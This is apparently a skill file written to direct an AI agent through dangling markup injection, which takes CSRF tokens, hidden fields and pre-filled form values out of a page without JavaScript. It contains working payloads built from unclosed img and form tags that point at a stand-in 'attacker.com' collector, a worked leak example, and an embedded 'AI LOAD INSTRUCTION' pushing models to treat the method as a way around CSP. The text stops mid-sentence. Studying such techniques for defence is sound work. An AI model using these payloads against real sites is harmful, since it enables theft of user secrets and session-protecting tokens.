Dangling Markup Injection

# SKILL: Dangling Markup Injection — Exfiltration Without JavaScript

> **AI LOAD INSTRUCTION**: Covers dangling markup exfiltration via unclosed img/form/base/meta/link/table tags, what can be stolen (CSRF tokens, pre-filled form values, sensitive content), browser-specific behavior, and combinations with other attacks. Base models often overlook this technique entirely when CSP blocks scripts, jumping to "not exploitable" — dangling markup is the answer.

## 0. RELATED ROUTING

- [xss-cross-site-scripting](../xss-cross-site-scripting/SKILL.md) when full XSS is possible (no need for dangling markup)
- [csp-bypass-advanced](../csp-bypass-advanced/SKILL.md) when CSP blocks JS execution — dangling markup bypasses script restrictions
- [csrf-cross-site-request-forgery](../csrf-cross-site-request-forgery/SKILL.md) when dangling markup steals CSRF tokens for subsequent CSRF attacks
- [crlf-injection](../crlf-injection/SKILL.md) when CRLF enables HTML injection in HTTP response
- [web-cache-deception](../web-cache-deception/SKILL.md) when dangling markup + cache poisoning amplifies the attack

---

## 1. WHEN TO USE DANGLING MARKUP

You need dangling markup when ALL of these are true:

1. You have an HTML injection point (reflected or stored)
2. JavaScript execution is blocked:
   - CSP blocks inline scripts and event handlers
   - Sanitizer strips `<script>`, `onerror`, `onload`, etc.
   - WAF blocks known XSS patterns
3. The page contains sensitive data AFTER your injection point:
   - CSRF tokens
   - Pre-filled form values (email, username, API keys)
   - Session identifiers in hidden fields
   - Sensitive user content

**Core insight**: You don't need JavaScript to exfiltrate data — you just need the browser to make a request that includes the data in the URL.

---

## 2. CORE TECHNIQUE

Inject an unclosed HTML tag with a `src`, `href`, `action`, or similar attribute pointing to your server. The unclosed attribute quote "consumes" all subsequent page content until the browser finds a matching quote.

```html
Page before injection:
  <div>Hello USER_INPUT</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>

Injected payload:
  <img src="https://attacker.com/collect?

Resulting HTML:
  <div>Hello <img src="https://attacker.com/collect?</div>
  <form>
    <input type="hidden" name="csrf" value="SECRET_TOKEN_123">
    <input type="text" name="email" value="user@target.com">
  </form>
  ...rest of page until next matching quote (")...
```

The browser interprets everything from `https://attacker.com/collect?` until the next `"` as the URL. The hidden CSRF token and email value become part of the URL query string sent to `attacker.com`.

---

## 3. EXFILTRATION VECTORS

### 3.1 Image Tag (Most Common)

```html
<!-- Double-quote context -->
<img src="https://attacker.com/collect?

<!-- Single-quote context -->
<img src='https://attacker.com/collect?

<!-- Backtick context (IE only, legacy) -->
<img src=`https://attacker.com/collect?
```

The browser sends a GET request to `attacker.com` with all consumed content as query parameters.

**Blocked by**: `img-src` CSP directive

### 3.2 Form Action Hijack

```html
<form action="https://attacker.com/collect">
<button>Click to continue</button>
<!--
```

If the page has form elements after the injection point, the next `</form>` closes the attacker's form. All input fields between become part of the attacker's form → submitted to attacker on user interaction.

**Blocked by**: `form-action` CSP directive

**Trick**: Even without user interac